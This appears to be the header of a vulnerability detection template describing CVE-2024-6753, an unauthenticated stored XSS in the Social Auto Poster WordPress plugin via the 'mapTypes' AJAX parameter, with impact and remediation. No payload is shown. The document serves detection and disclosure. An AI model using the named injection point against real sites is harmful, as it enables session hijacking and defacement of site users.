id: CVE-2024-6753

info:
  name: Social Auto Poster <= 5.3.14 - Stored Cross-Site Scripting
  author: Shivam Kamboj
  severity: high
  description: |
    Social Auto Poster plugin for WordPress versions up to 5.3.14 contains a stored cross-site scripting caused by insufficient sanitization and escaping of 'mapTypes' parameter in the 'wpw_auto_poster_map_wordpress_post_type' AJAX function, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
